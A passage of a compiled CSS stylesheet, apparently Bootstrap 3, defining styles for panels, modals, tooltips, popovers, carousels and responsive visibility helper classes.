15px;\n  background-color: #f5f5f5;\n  border-top: 1px solid #ddd;\n  border-bottom-right-radius: 3px;\n  border-bottom-left-radius: 3px;\n}\n.panel > .list-group,\n.panel > .panel-collapse > .list-group {\n  margin-bottom: 0;\n}\n.panel > .list-group .list-group-item,\n.panel > .panel-collapse > .list-group .list-group-item {\n  border-width: 1px 0;\n  border-radius: 0;\n}\n.panel > .list-group:first-child .list-group-item:first-child,\n.panel > .panel-collapse > .list-group:first-child .list-group-item:first-child {\n  border-top: 0;\n  border-top-left-radius: 3px;\n  border-top-right-radius: 3px;\n}\n.panel > .list-group:last-child .list-group-item:last-child,\n.panel > .panel-collapse > .list-group:last-child .list-group-item:last-child {\n  border-bottom: 0;\n  border-bottom-right-radius: 3px;\n  border-bottom-left-radius: 3px;\n}\n.panel > .panel-heading + .panel-collapse > .list-group .list-group-item:first-child {\n  border-top-left-radius: 0;\n  border-top-right-radius: 0;\n}\n.panel-heading + .list-group .list-group-item:first-child {\n  border-top-width: 0;\n}\n.list-group + .panel-footer {\n  border-top-width: 0;\n}\n.panel > .table,\n.panel > .table-responsive > .table,\n.panel > .panel-collapse > .table {\n  margin-bottom: 0;\n}\n.panel > .table caption,\n.panel > .table-responsive > .table caption,\n.panel > .panel-collapse > .table caption {\n  padding-right: 15px;\n  padding-left: 15px;\n}\n.panel > .table:first-child,\n.panel > .table-responsive:first-child > .table:first-child {\n  border-top-left-radius: 3px;\n  border-top-right-radius: 3px;\n}\n.panel > .table:first-child > thead:first-child > tr:first-child,\n.panel > .table-responsive:first-child > .table:first-child > thead:first-child > tr:first-child,\n.panel > .table:first-child > tbody:first-child > tr:first-child,\n.panel > .table-responsive:first-child > .table:first-child > tbody:first-child > tr:first-child {\n  border-top-left-radius: 3px;\n  border-top-right-radius: 3px;\n}\n.panel > .table:first-child > thead:first-child > tr:first-child td:first-child,\n.panel > .table-responsive:first-child > .table:first-child > thead:first-child > tr:first-child td:first-child,\n.panel > .table:first-child > tbody:first-child > tr:first-child td:first-child,\n.panel > .table-responsive:first-child > .table:first-child > tbody:first-child > tr:first-child td:first-child,\n.panel > .table:first-child > thead:first-child > tr:first-child th:first-child,\n.panel > .table-responsive:first-child > .table:first-child > thead:first-child > tr:first-child th:first-child,\n.panel > .table:first-child > tbody:first-child > tr:first-child th:first-child,\n.panel > .table-responsive:first-child > .table:first-child > tbody:first-child > tr:first-child th:first-child {\n  border-top-left-radius: 3px;\n}\n.panel > .table:first-child > thead:first-child > tr:first-child td:last-child,\n.panel > .table-responsive:first-child > .table:first-child > thead:first-child > tr:first-child td:last-child,\n.panel > .table:first-child > tbody:first-child > tr:first-child td:last-child,\n.panel > .table-responsive:first-child > .table:first-child > tbody:first-child > tr:first-child td:last-child,\n.panel > .table:first-child > thead:first-child > tr:first-child th:last-child,\n.panel > .table-responsive:first-child > .table:first-child > thead:first-child > tr:first-child th:last-child,\n.panel > .table:first-child > tbody:first-child > tr:first-child th:last-child,\n.panel > .table-responsive:first-child > .table:first-child > tbody:first-child > tr:first-child th:last-child {\n  border-top-right-radius: 3px;\n}\n.panel > .table:last-child,\n.panel > .table-responsive:last-child > .table:last-child {\n  border-bottom-right-radius: 3px;\n  border-bottom-left-radius: 3px;\n}\n.panel > .table:last-child > tbody:last-child > tr:last-child,\n.panel > .table-responsive:last-child > .table:last-child > tbody:last-child > tr:last-child,\n.panel > .table:last-child > tfoot:last-child > tr:last-child,\n.panel > .table-responsive:last-child > .table:last-child > tfoot:last-child > tr:last-child {\n  border-bottom-right-radius: 3px;\n  border-bottom-left-radius: 3px;\n}\n.panel > .table:last-child > tbody:last-child > tr:last-child td:first-child,\n.panel > .table-responsive:last-child > .table:last-child > tbody:last-child > tr:last-child td:first-child,\n.panel > .table:last-child > tfoot:last-child > tr:last-child td:first-child,\n.panel > .table-responsive:last-child > .table:last-child > tfoot:last-child > tr:last-child td:first-child,\n.panel > .table:last-child > tbody:last-child > tr:last-child th:first-child,\n.panel > .table-responsive:last-child > .table:last-child > tbody:last-child > tr:last-child th:first-child,\n.panel > .table:last-child > tfoot:last-child > tr:last-child th:first-child,\n.panel > .table-responsive:last-child > .table:last-child > tfoot:last-child > tr:last-child th:first-child {\n  border-bottom-left-radius: 3px;\n}\n.panel > .table:last-child > tbody:last-child > tr:last-child td:last-child,\n.panel > .table-responsive:last-child > .table:last-child > tbody:last-child > tr:last-child td:last-child,\n.panel > .table:last-child > tfoot:last-child > tr:last-child td:last-child,\n.panel > .table-responsive:last-child > .table:last-child > tfoot:last-child > tr:last-child td:last-child,\n.panel > .table:last-child > tbody:last-child > tr:last-child th:last-child,\n.panel > .table-responsive:last-child > .table:last-child > tbody:last-child > tr:last-child th:last-child,\n.panel > .table:last-child > tfoot:last-child > tr:last-child th:last-child,\n.panel > .table-responsive:last-child > .table:last-child > tfoot:last-child > tr:last-child th:last-child {\n  border-bottom-right-radius: 3px;\n}\n.panel > .panel-body + .table,\n.panel > .panel-body + .table-responsive,\n.panel > .table + .panel-body,\n.panel > .table-responsive + .panel-body {\n  border-top: 1px solid #ddd;\n}\n.panel > .table > tbody:first-child > tr:first-child th,\n.panel > .table > tbody:first-child > tr:first-child td {\n  border-top: 0;\n}\n.panel > .table-bordered,\n.panel > .table-responsive > .table-bordered {\n  border: 0;\n}\n.panel > .table-bordered > thead > tr > th:first-child,\n.panel > .table-responsive > .table-bordered > thead > tr > th:first-child,\n.panel > .table-bordered > tbody > tr > th:first-child,\n.panel > .table-responsive > .table-bordered > tbody > tr > th:first-child,\n.panel > .table-bordered > tfoot > tr > th:first-child,\n.panel > .table-responsive > .table-bordered > tfoot > tr > th:first-child,\n.panel > .table-bordered > thead > tr > td:first-child,\n.panel > .table-responsive > .table-bordered > thead > tr > td:first-child,\n.panel > .table-bordered > tbody > tr > td:first-child,\n.panel > .table-responsive > .table-bordered > tbody > tr > td:first-child,\n.panel > .table-bordered > tfoot > tr > td:first-child,\n.panel > .table-responsive > .table-bordered > tfoot > tr > td:first-child {\n  border-left: 0;\n}\n.panel > .table-bordered > thead > tr > th:last-child,\n.panel > .table-responsive > .table-bordered > thead > tr > th:last-child,\n.panel > .table-bordered > tbody > tr > th:last-child,\n.panel > .table-responsive > .table-bordered > tbody > tr > th:last-child,\n.panel > .table-bordered > tfoot > tr > th:last-child,\n.panel > .table-responsive > .table-bordered > tfoot > tr > th:last-child,\n.panel > .table-bordered > thead > tr > td:last-child,\n.panel > .table-responsive > .table-bordered > thead > tr > td:last-child,\n.panel > .table-bordered > tbody > tr > td:last-child,\n.panel > .table-responsive > .table-bordered > tbody > tr > td:last-child,\n.panel > .table-bordered > tfoot > tr > td:last-child,\n.panel > .table-responsive > .table-bordered > tfoot > tr > td:last-child {\n  border-right: 0;\n}\n.panel > .table-bordered > thead > tr:first-child > td,\n.panel > .table-responsive > .table-bordered > thead > tr:first-child > td,\n.panel > .table-bordered > tbody > tr:first-child > td,\n.panel > .table-responsive > .table-bordered > tbody > tr:first-child > td,\n.panel > .table-bordered > thead > tr:first-child > th,\n.panel > .table-responsive > .table-bordered > thead > tr:first-child > th,\n.panel > .table-bordered > tbody > tr:first-child > th,\n.panel > .table-responsive > .table-bordered > tbody > tr:first-child > th {\n  border-bottom: 0;\n}\n.panel > .table-bordered > tbody > tr:last-child > td,\n.panel > .table-responsive > .table-bordered > tbody > tr:last-child > td,\n.panel > .table-bordered > tfoot > tr:last-child > td,\n.panel > .table-responsive > .table-bordered > tfoot > tr:last-child > td,\n.panel > .table-bordered > tbody > tr:last-child > th,\n.panel > .table-responsive > .table-bordered > tbody > tr:last-child > th,\n.panel > .table-bordered > tfoot > tr:last-child > th,\n.panel > .table-responsive > .table-bordered > tfoot > tr:last-child > th {\n  border-bottom: 0;\n}\n.panel > .table-responsive {\n  margin-bottom: 0;\n  border: 0;\n}\n.panel-group {\n  margin-bottom: 20px;\n}\n.panel-group .panel {\n  margin-bottom: 0;\n  border-radius: 4px;\n}\n.panel-group .panel + .panel {\n  margin-top: 5px;\n}\n.panel-group .panel-heading {\n  border-bottom: 0;\n}\n.panel-group .panel-heading + .panel-collapse > .panel-body,\n.panel-group .panel-heading + .panel-collapse > .list-group {\n  border-top: 1px solid #ddd;\n}\n.panel-group .panel-footer {\n  border-top: 0;\n}\n.panel-group .panel-footer + .panel-collapse .panel-body {\n  border-bottom: 1px solid #ddd;\n}\n.panel-default {\n  border-color: #ddd;\n}\n.panel-default > .panel-heading {\n  color: #333;\n  background-color: #f5f5f5;\n  border-color: #ddd;\n}\n.panel-default > .panel-heading + .panel-collapse > .panel-body {\n  border-top-color: #ddd;\n}\n.panel-default > .panel-heading .badge {\n  color: #f5f5f5;\n  background-color: #333;\n}\n.panel-default > .panel-footer + .panel-collapse > .panel-body {\n  border-bottom-color: #ddd;\n}\n.panel-primary {\n  border-color: #337ab7;\n}\n.panel-primary > .panel-heading {\n  color: #fff;\n  background-color: #337ab7;\n  border-color: #337ab7;\n}\n.panel-primary > .panel-heading + .panel-collapse > .panel-body {\n  border-top-color: #337ab7;\n}\n.panel-primary > .panel-heading .badge {\n  color: #337ab7;\n  background-color: #fff;\n}\n.panel-primary > .panel-footer + .panel-collapse > .panel-body {\n  border-bottom-color: #337ab7;\n}\n.panel-success {\n  border-color: #d6e9c6;\n}\n.panel-success > .panel-heading {\n  color: #3c763d;\n  background-color: #dff0d8;\n  border-color: #d6e9c6;\n}\n.panel-success > .panel-heading + .panel-collapse > .panel-body {\n  border-top-color: #d6e9c6;\n}\n.panel-success > .panel-heading .badge {\n  color: #dff0d8;\n  background-color: #3c763d;\n}\n.panel-success > .panel-footer + .panel-collapse > .panel-body {\n  border-bottom-color: #d6e9c6;\n}\n.panel-info {\n  border-color: #bce8f1;\n}\n.panel-info > .panel-heading {\n  color: #31708f;\n  background-color: #d9edf7;\n  border-color: #bce8f1;\n}\n.panel-info > .panel-heading + .panel-collapse > .panel-body {\n  border-top-color: #bce8f1;\n}\n.panel-info > .panel-heading .badge {\n  color: #d9edf7;\n  background-color: #31708f;\n}\n.panel-info > .panel-footer + .panel-collapse > .panel-body {\n  border-bottom-color: #bce8f1;\n}\n.panel-warning {\n  border-color: #faebcc;\n}\n.panel-warning > .panel-heading {\n  color: #8a6d3b;\n  background-color: #fcf8e3;\n  border-color: #faebcc;\n}\n.panel-warning > .panel-heading + .panel-collapse > .panel-body {\n  border-top-color: #faebcc;\n}\n.panel-warning > .panel-heading .badge {\n  color: #fcf8e3;\n  background-color: #8a6d3b;\n}\n.panel-warning > .panel-footer + .panel-collapse > .panel-body {\n  border-bottom-color: #faebcc;\n}\n.panel-danger {\n  border-color: #ebccd1;\n}\n.panel-danger > .panel-heading {\n  color: #a94442;\n  background-color: #f2dede;\n  border-color: #ebccd1;\n}\n.panel-danger > .panel-heading + .panel-collapse > .panel-body {\n  border-top-color: #ebccd1;\n}\n.panel-danger > .panel-heading .badge {\n  color: #f2dede;\n  background-color: #a94442;\n}\n.panel-danger > .panel-footer + .panel-collapse > .panel-body {\n  border-bottom-color: #ebccd1;\n}\n.embed-responsive {\n  position: relative;\n  display: block;\n  height: 0;\n  padding: 0;\n  overflow: hidden;\n}\n.embed-responsive .embed-responsive-item,\n.embed-responsive iframe,\n.embed-responsive embed,\n.embed-responsive object,\n.embed-responsive video {\n  position: absolute;\n  top: 0;\n  bottom: 0;\n  left: 0;\n  width: 100%;\n  height: 100%;\n  border: 0;\n}\n.embed-responsive-16by9 {\n  padding-bottom: 56.25%;\n}\n.embed-responsive-4by3 {\n  padding-bottom: 75%;\n}\n.well {\n  min-height: 20px;\n  padding: 19px;\n  margin-bottom: 20px;\n  background-color: #f5f5f5;\n  border: 1px solid #e3e3e3;\n  border-radius: 4px;\n  -webkit-box-shadow: inset 0 1px 1px rgba(0, 0, 0, .05);\n          box-shadow: inset 0 1px 1px rgba(0, 0, 0, .05);\n}\n.well blockquote {\n  border-color: #ddd;\n  border-color: rgba(0, 0, 0, .15);\n}\n.well-lg {\n  padding: 24px;\n  border-radius: 6px;\n}\n.well-sm {\n  padding: 9px;\n  border-radius: 3px;\n}\n.close {\n  float: right;\n  font-size: 21px;\n  font-weight: bold;\n  line-height: 1;\n  color: #000;\n  text-shadow: 0 1px 0 #fff;\n  filter: alpha(opacity=20);\n  opacity: .2;\n}\n.close:hover,\n.close:focus {\n  color: #000;\n  text-decoration: none;\n  cursor: pointer;\n  filter: alpha(opacity=50);\n  opacity: .5;\n}\nbutton.close {\n  -webkit-appearance: none;\n  padding: 0;\n  cursor: pointer;\n  background: transparent;\n  border: 0;\n}\n.modal-open {\n  overflow: hidden;\n}\n.modal {\n  position: fixed;\n  top: 0;\n  right: 0;\n  bottom: 0;\n  left: 0;\n  z-index: 1050;\n  display: none;\n  overflow: hidden;\n  -webkit-overflow-scrolling: touch;\n  outline: 0;\n}\n.modal.fade .modal-dialog {\n  -webkit-transition: -webkit-transform .3s ease-out;\n       -o-transition:      -o-transform .3s ease-out;\n          transition:         transform .3s ease-out;\n  -webkit-transform: translate(0, -25%);\n      -ms-transform: translate(0, -25%);\n       -o-transform: translate(0, -25%);\n          transform: translate(0, -25%);\n}\n.modal.in .modal-dialog {\n  -webkit-transform: translate(0, 0);\n      -ms-transform: translate(0, 0);\n       -o-transform: translate(0, 0);\n          transform: translate(0, 0);\n}\n.modal-open .modal {\n  overflow-x: hidden;\n  overflow-y: auto;\n}\n.modal-dialog {\n  position: relative;\n  width: auto;\n  margin: 10px;\n}\n.modal-content {\n  position: relative;\n  background-color: #fff;\n  -webkit-background-clip: padding-box;\n          background-clip: padding-box;\n  border: 1px solid #999;\n  border: 1px solid rgba(0, 0, 0, .2);\n  border-radius: 6px;\n  outline: 0;\n  -webkit-box-shadow: 0 3px 9px rgba(0, 0, 0, .5);\n          box-shadow: 0 3px 9px rgba(0, 0, 0, .5);\n}\n.modal-backdrop {\n  position: fixed;\n  top: 0;\n  right: 0;\n  bottom: 0;\n  left: 0;\n  z-index: 1040;\n  background-color: #000;\n}\n.modal-backdrop.fade {\n  filter: alpha(opacity=0);\n  opacity: 0;\n}\n.modal-backdrop.in {\n  filter: alpha(opacity=50);\n  opacity: .5;\n}\n.modal-header {\n  min-height: 16.42857143px;\n  padding: 15px;\n  border-bottom: 1px solid #e5e5e5;\n}\n.modal-header .close {\n  margin-top: -2px;\n}\n.modal-title {\n  margin: 0;\n  line-height: 1.42857143;\n}\n.modal-body {\n  position: relative;\n  padding: 15px;\n}\n.modal-footer {\n  padding: 15px;\n  text-align: right;\n  border-top: 1px solid #e5e5e5;\n}\n.modal-footer .btn + .btn {\n  margin-bottom: 0;\n  margin-left: 5px;\n}\n.modal-footer .btn-group .btn + .btn {\n  margin-left: -1px;\n}\n.modal-footer .btn-block + .btn-block {\n  margin-left: 0;\n}\n.modal-scrollbar-measure {\n  position: absolute;\n  top: -9999px;\n  width: 50px;\n  height: 50px;\n  overflow: scroll;\n}\n@media (min-width: 768px) {\n  .modal-dialog {\n    width: 600px;\n    margin: 30px auto;\n  }\n  .modal-content {\n    -webkit-box-shadow: 0 5px 15px rgba(0, 0, 0, .5);\n            box-shadow: 0 5px 15px rgba(0, 0, 0, .5);\n  }\n  .modal-sm {\n    width: 300px;\n  }\n}\n@media (min-width: 992px) {\n  .modal-lg {\n    width: 900px;\n  }\n}\n.tooltip {\n  position: absolute;\n  z-index: 1070;\n  display: block;\n  font-family: \"Helvetica Neue\", Helvetica, Arial, sans-serif;\n  font-size: 12px;\n  font-style: normal;\n  font-weight: normal;\n  line-height: 1.42857143;\n  text-align: left;\n  text-align: start;\n  text-decoration: none;\n  text-shadow: none;\n  text-transform: none;\n  letter-spacing: normal;\n  word-break: normal;\n  word-spacing: normal;\n  word-wrap: normal;\n  white-space: normal;\n  filter: alpha(opacity=0);\n  opacity: 0;\n\n  line-break: auto;\n}\n.tooltip.in {\n  filter: alpha(opacity=90);\n  opacity: .9;\n}\n.tooltip.top {\n  padding: 5px 0;\n  margin-top: -3px;\n}\n.tooltip.right {\n  padding: 0 5px;\n  margin-left: 3px;\n}\n.tooltip.bottom {\n  padding: 5px 0;\n  margin-top: 3px;\n}\n.tooltip.left {\n  padding: 0 5px;\n  margin-left: -3px;\n}\n.tooltip-inner {\n  max-width: 200px;\n  padding: 3px 8px;\n  color: #fff;\n  text-align: center;\n  background-color: #000;\n  border-radius: 4px;\n}\n.tooltip-arrow {\n  position: absolute;\n  width: 0;\n  height: 0;\n  border-color: transparent;\n  border-style: solid;\n}\n.tooltip.top .tooltip-arrow {\n  bottom: 0;\n  left: 50%;\n  margin-left: -5px;\n  border-width: 5px 5px 0;\n  border-top-color: #000;\n}\n.tooltip.top-left .tooltip-arrow {\n  right: 5px;\n  bottom: 0;\n  margin-bottom: -5px;\n  border-width: 5px 5px 0;\n  border-top-color: #000;\n}\n.tooltip.top-right .tooltip-arrow {\n  bottom: 0;\n  left: 5px;\n  margin-bottom: -5px;\n  border-width: 5px 5px 0;\n  border-top-color: #000;\n}\n.tooltip.right .tooltip-arrow {\n  top: 50%;\n  left: 0;\n  margin-top: -5px;\n  border-width: 5px 5px 5px 0;\n  border-right-color: #000;\n}\n.tooltip.left .tooltip-arrow {\n  top: 50%;\n  right: 0;\n  margin-top: -5px;\n  border-width: 5px 0 5px 5px;\n  border-left-color: #000;\n}\n.tooltip.bottom .tooltip-arrow {\n  top: 0;\n  left: 50%;\n  margin-left: -5px;\n  border-width: 0 5px 5px;\n  border-bottom-color: #000;\n}\n.tooltip.bottom-left .tooltip-arrow {\n  top: 0;\n  right: 5px;\n  margin-top: -5px;\n  border-width: 0 5px 5px;\n  border-bottom-color: #000;\n}\n.tooltip.bottom-right .tooltip-arrow {\n  top: 0;\n  left: 5px;\n  margin-top: -5px;\n  border-width: 0 5px 5px;\n  border-bottom-color: #000;\n}\n.popover {\n  position: absolute;\n  top: 0;\n  left: 0;\n  z-index: 1060;\n  display: none;\n  max-width: 276px;\n  padding: 1px;\n  font-family: \"Helvetica Neue\", Helvetica, Arial, sans-serif;\n  font-size: 14px;\n  font-style: normal;\n  font-weight: normal;\n  line-height: 1.42857143;\n  text-align: left;\n  text-align: start;\n  text-decoration: none;\n  text-shadow: none;\n  text-transform: none;\n  letter-spacing: normal;\n  word-break: normal;\n  word-spacing: normal;\n  word-wrap: normal;\n  white-space: normal;\n  background-color: #fff;\n  -webkit-background-clip: padding-box;\n          background-clip: padding-box;\n  border: 1px solid #ccc;\n  border: 1px solid rgba(0, 0, 0, .2);\n  border-radius: 6px;\n  -webkit-box-shadow: 0 5px 10px rgba(0, 0, 0, .2);\n          box-shadow: 0 5px 10px rgba(0, 0, 0, .2);\n\n  line-break: auto;\n}\n.popover.top {\n  margin-top: -10px;\n}\n.popover.right {\n  margin-left: 10px;\n}\n.popover.bottom {\n  margin-top: 10px;\n}\n.popover.left {\n  margin-left: -10px;\n}\n.popover-title {\n  padding: 8px 14px;\n  margin: 0;\n  font-size: 14px;\n  background-color: #f7f7f7;\n  border-bottom: 1px solid #ebebeb;\n  border-radius: 5px 5px 0 0;\n}\n.popover-content {\n  padding: 9px 14px;\n}\n.popover > .arrow,\n.popover > .arrow:after {\n  position: absolute;\n  display: block;\n  width: 0;\n  height: 0;\n  border-color: transparent;\n  border-style: solid;\n}\n.popover > .arrow {\n  border-width: 11px;\n}\n.popover > .arrow:after {\n  content: \"\";\n  border-width: 10px;\n}\n.popover.top > .arrow {\n  bottom: -11px;\n  left: 50%;\n  margin-left: -11px;\n  border-top-color: #999;\n  border-top-color: rgba(0, 0, 0, .25);\n  border-bottom-width: 0;\n}\n.popover.top > .arrow:after {\n  bottom: 1px;\n  margin-left: -10px;\n  content: \" \";\n  border-top-color: #fff;\n  border-bottom-width: 0;\n}\n.popover.right > .arrow {\n  top: 50%;\n  left: -11px;\n  margin-top: -11px;\n  border-right-color: #999;\n  border-right-color: rgba(0, 0, 0, .25);\n  border-left-width: 0;\n}\n.popover.right > .arrow:after {\n  bottom: -10px;\n  left: 1px;\n  content: \" \";\n  border-right-color: #fff;\n  border-left-width: 0;\n}\n.popover.bottom > .arrow {\n  top: -11px;\n  left: 50%;\n  margin-left: -11px;\n  border-top-width: 0;\n  border-bottom-color: #999;\n  border-bottom-color: rgba(0, 0, 0, .25);\n}\n.popover.bottom > .arrow:after {\n  top: 1px;\n  margin-left: -10px;\n  content: \" \";\n  border-top-width: 0;\n  border-bottom-color: #fff;\n}\n.popover.left > .arrow {\n  top: 50%;\n  right: -11px;\n  margin-top: -11px;\n  border-right-width: 0;\n  border-left-color: #999;\n  border-left-color: rgba(0, 0, 0, .25);\n}\n.popover.left > .arrow:after {\n  right: 1px;\n  bottom: -10px;\n  content: \" \";\n  border-right-width: 0;\n  border-left-color: #fff;\n}\n.carousel {\n  position: relative;\n}\n.carousel-inner {\n  position: relative;\n  width: 100%;\n  overflow: hidden;\n}\n.carousel-inner > .item {\n  position: relative;\n  display: none;\n  -webkit-transition: .6s ease-in-out left;\n       -o-transition: .6s ease-in-out left;\n          transition: .6s ease-in-out left;\n}\n.carousel-inner > .item > img,\n.carousel-inner > .item > a > img {\n  line-height: 1;\n}\n@media all and (transform-3d), (-webkit-transform-3d) {\n  .carousel-inner > .item {\n    -webkit-transition: -webkit-transform .6s ease-in-out;\n         -o-transition:      -o-transform .6s ease-in-out;\n            transition:         transform .6s ease-in-out;\n\n    -webkit-backface-visibility: hidden;\n            backface-visibility: hidden;\n    -webkit-perspective: 1000px;\n            perspective: 1000px;\n  }\n  .carousel-inner > .item.next,\n  .carousel-inner > .item.active.right {\n    left: 0;\n    -webkit-transform: translate3d(100%, 0, 0);\n            transform: translate3d(100%, 0, 0);\n  }\n  .carousel-inner > .item.prev,\n  .carousel-inner > .item.active.left {\n    left: 0;\n    -webkit-transform: translate3d(-100%, 0, 0);\n            transform: translate3d(-100%, 0, 0);\n  }\n  .carousel-inner > .item.next.left,\n  .carousel-inner > .item.prev.right,\n  .carousel-inner > .item.active {\n    left: 0;\n    -webkit-transform: translate3d(0, 0, 0);\n            transform: translate3d(0, 0, 0);\n  }\n}\n.carousel-inner > .active,\n.carousel-inner > .next,\n.carousel-inner > .prev {\n  display: block;\n}\n.carousel-inner > .active {\n  left: 0;\n}\n.carousel-inner > .next,\n.carousel-inner > .prev {\n  position: absolute;\n  top: 0;\n  width: 100%;\n}\n.carousel-inner > .next {\n  left: 100%;\n}\n.carousel-inner > .prev {\n  left: -100%;\n}\n.carousel-inner > .next.left,\n.carousel-inner > .prev.right {\n  left: 0;\n}\n.carousel-inner > .active.left {\n  left: -100%;\n}\n.carousel-inner > .active.right {\n  left: 100%;\n}\n.carousel-control {\n  position: absolute;\n  top: 0;\n  bottom: 0;\n  left: 0;\n  width: 15%;\n  font-size: 20px;\n  color: #fff;\n  text-align: center;\n  text-shadow: 0 1px 2px rgba(0, 0, 0, .6);\n  filter: alpha(opacity=50);\n  opacity: .5;\n}\n.carousel-control.left {\n  background-image: -webkit-linear-gradient(left, rgba(0, 0, 0, .5) 0%, rgba(0, 0, 0, .0001) 100%);\n  background-image:      -o-linear-gradient(left, rgba(0, 0, 0, .5) 0%, rgba(0, 0, 0, .0001) 100%);\n  background-image: -webkit-gradient(linear, left top, right top, from(rgba(0, 0, 0, .5)), to(rgba(0, 0, 0, .0001)));\n  background-image:         linear-gradient(to right, rgba(0, 0, 0, .5) 0%, rgba(0, 0, 0, .0001) 100%);\n  filter: progid:DXImageTransform.Microsoft.gradient(startColorstr='#80000000', endColorstr='#00000000', GradientType=1);\n  background-repeat: repeat-x;\n}\n.carousel-control.right {\n  right: 0;\n  left: auto;\n  background-image: -webkit-linear-gradient(left, rgba(0, 0, 0, .0001) 0%, rgba(0, 0, 0, .5) 100%);\n  background-image:      -o-linear-gradient(left, rgba(0, 0, 0, .0001) 0%, rgba(0, 0, 0, .5) 100%);\n  background-image: -webkit-gradient(linear, left top, right top, from(rgba(0, 0, 0, .0001)), to(rgba(0, 0, 0, .5)));\n  background-image:         linear-gradient(to right, rgba(0, 0, 0, .0001) 0%, rgba(0, 0, 0, .5) 100%);\n  filter: progid:DXImageTransform.Microsoft.gradient(startColorstr='#00000000', endColorstr='#80000000', GradientType=1);\n  background-repeat: repeat-x;\n}\n.carousel-control:hover,\n.carousel-control:focus {\n  color: #fff;\n  text-decoration: none;\n  filter: alpha(opacity=90);\n  outline: 0;\n  opacity: .9;\n}\n.carousel-control .icon-prev,\n.carousel-control .icon-next,\n.carousel-control .glyphicon-chevron-left,\n.carousel-control .glyphicon-chevron-right {\n  position: absolute;\n  top: 50%;\n  z-index: 5;\n  display: inline-block;\n  margin-top: -10px;\n}\n.carousel-control .icon-prev,\n.carousel-control .glyphicon-chevron-left {\n  left: 50%;\n  margin-left: -10px;\n}\n.carousel-control .icon-next,\n.carousel-control .glyphicon-chevron-right {\n  right: 50%;\n  margin-right: -10px;\n}\n.carousel-control .icon-prev,\n.carousel-control .icon-next {\n  width: 20px;\n  height: 20px;\n  font-family: serif;\n  line-height: 1;\n}\n.carousel-control .icon-prev:before {\n  content: '\\2039';\n}\n.carousel-control .icon-next:before {\n  content: '\\203a';\n}\n.carousel-indicators {\n  position: absolute;\n  bottom: 10px;\n  left: 50%;\n  z-index: 15;\n  width: 60%;\n  padding-left: 0;\n  margin-left: -30%;\n  text-align: center;\n  list-style: none;\n}\n.carousel-indicators li {\n  display: inline-block;\n  width: 10px;\n  height: 10px;\n  margin: 1px;\n  text-indent: -999px;\n  cursor: pointer;\n  background-color: #000 \\9;\n  background-color: rgba(0, 0, 0, 0);\n  border: 1px solid #fff;\n  border-radius: 10px;\n}\n.carousel-indicators .active {\n  width: 12px;\n  height: 12px;\n  margin: 0;\n  background-color: #fff;\n}\n.carousel-caption {\n  position: absolute;\n  right: 15%;\n  bottom: 20px;\n  left: 15%;\n  z-index: 10;\n  padding-top: 20px;\n  padding-bottom: 20px;\n  color: #fff;\n  text-align: center;\n  text-shadow: 0 1px 2px rgba(0, 0, 0, .6);\n}\n.carousel-caption .btn {\n  text-shadow: none;\n}\n@media screen and (min-width: 768px) {\n  .carousel-control .glyphicon-chevron-left,\n  .carousel-control .glyphicon-chevron-right,\n  .carousel-control .icon-prev,\n  .carousel-control .icon-next {\n    width: 30px;\n    height: 30px;\n    margin-top: -15px;\n    font-size: 30px;\n  }\n  .carousel-control .glyphicon-chevron-left,\n  .carousel-control .icon-prev {\n    margin-left: -15px;\n  }\n  .carousel-control .glyphicon-chevron-right,\n  .carousel-control .icon-next {\n    margin-right: -15px;\n  }\n  .carousel-caption {\n    right: 20%;\n    left: 20%;\n    padding-bottom: 30px;\n  }\n  .carousel-indicators {\n    bottom: 20px;\n  }\n}\n.clearfix:before,\n.clearfix:after,\n.dl-horizontal dd:before,\n.dl-horizontal dd:after,\n.container:before,\n.container:after,\n.container-fluid:before,\n.container-fluid:after,\n.row:before,\n.row:after,\n.form-horizontal .form-group:before,\n.form-horizontal .form-group:after,\n.btn-toolbar:before,\n.btn-toolbar:after,\n.btn-group-vertical > .btn-group:before,\n.btn-group-vertical > .btn-group:after,\n.nav:before,\n.nav:after,\n.navbar:before,\n.navbar:after,\n.navbar-header:before,\n.navbar-header:after,\n.navbar-collapse:before,\n.navbar-collapse:after,\n.pager:before,\n.pager:after,\n.panel-body:before,\n.panel-body:after,\n.modal-footer:before,\n.modal-footer:after {\n  display: table;\n  content: \" \";\n}\n.clearfix:after,\n.dl-horizontal dd:after,\n.container:after,\n.container-fluid:after,\n.row:after,\n.form-horizontal .form-group:after,\n.btn-toolbar:after,\n.btn-group-vertical > .btn-group:after,\n.nav:after,\n.navbar:after,\n.navbar-header:after,\n.navbar-collapse:after,\n.pager:after,\n.panel-body:after,\n.modal-footer:after {\n  clear: both;\n}\n.center-block {\n  display: block;\n  margin-right: auto;\n  margin-left: auto;\n}\n.pull-right {\n  float: right !important;\n}\n.pull-left {\n  float: left !important;\n}\n.hide {\n  display: none !important;\n}\n.show {\n  display: block !important;\n}\n.invisible {\n  visibility: hidden;\n}\n.text-hide {\n  font: 0/0 a;\n  color: transparent;\n  text-shadow: none;\n  background-color: transparent;\n  border: 0;\n}\n.hidden {\n  display: none !important;\n}\n.affix {\n  position: fixed;\n}\n@-ms-viewport {\n  width: device-width;\n}\n.visible-xs,\n.visible-sm,\n.visible-md,\n.visible-lg {\n  display: none !important;\n}\n.visible-xs-block,\n.visible-xs-inline,\n.visible-xs-inline-block,\n.visible-sm-block,\n.visible-sm-inline,\n.visible-sm-inline-block,\n.visible-md-block,\n.visible-md-inline,\n.visible-md-inline-block,\n.visible-lg-block,\n.visible-lg-inline,\n.visible-lg-inline-block {\n  display: none !important;\n}\n@media (max-width: 767px) {\n  .visible-xs {\n    display: block !important;\n  }\n  table.visible-xs {\n    display: table !important;\n  }\n  tr.visible-xs {\n    display: table-row !important;\n  }\n  th.visible-xs,\n  td.visible-xs {\n    display: table-cell !important;\n  }\n}\n@media (max-width: 767px) {\n  .visible-xs-block {\n    display: block !important;\n  }\n}\n@media (max-width: 767px) {\n  .visible-xs-inline {\n    display: inline !important;\n  }\n}\n@media (max-width: 767px) {\n  .visible-xs-inline-block {\n    display: inline-block !important;\n  }\n}\n@media (min-width: 768px) and (max-width: 991px) {\n  .visible-sm {\n    display: block !important;\n  }\n  table.visible-sm {\n    display: table !important;\n  }\n  tr.visible-sm {\n    display: table-row !important;\n  }\n  th.visible-sm,\n  td.visible-sm {\n    display: table-cell !important;\n  }\n}\n@media (min-width: 768px) and (max-width: 991px) {\n  .visible-sm-block {\n    display: block !important;\n  }\n}\n@media (min-width: 768px) and (max-width: 991px) {\n  .visible-sm-inline {\n    display: inline !important;\n  }\n}\n@media (min-width: 768px) and (max-width: 991px) {\n  .visible-sm-inline-block {\n    display: inline-block !important;\n  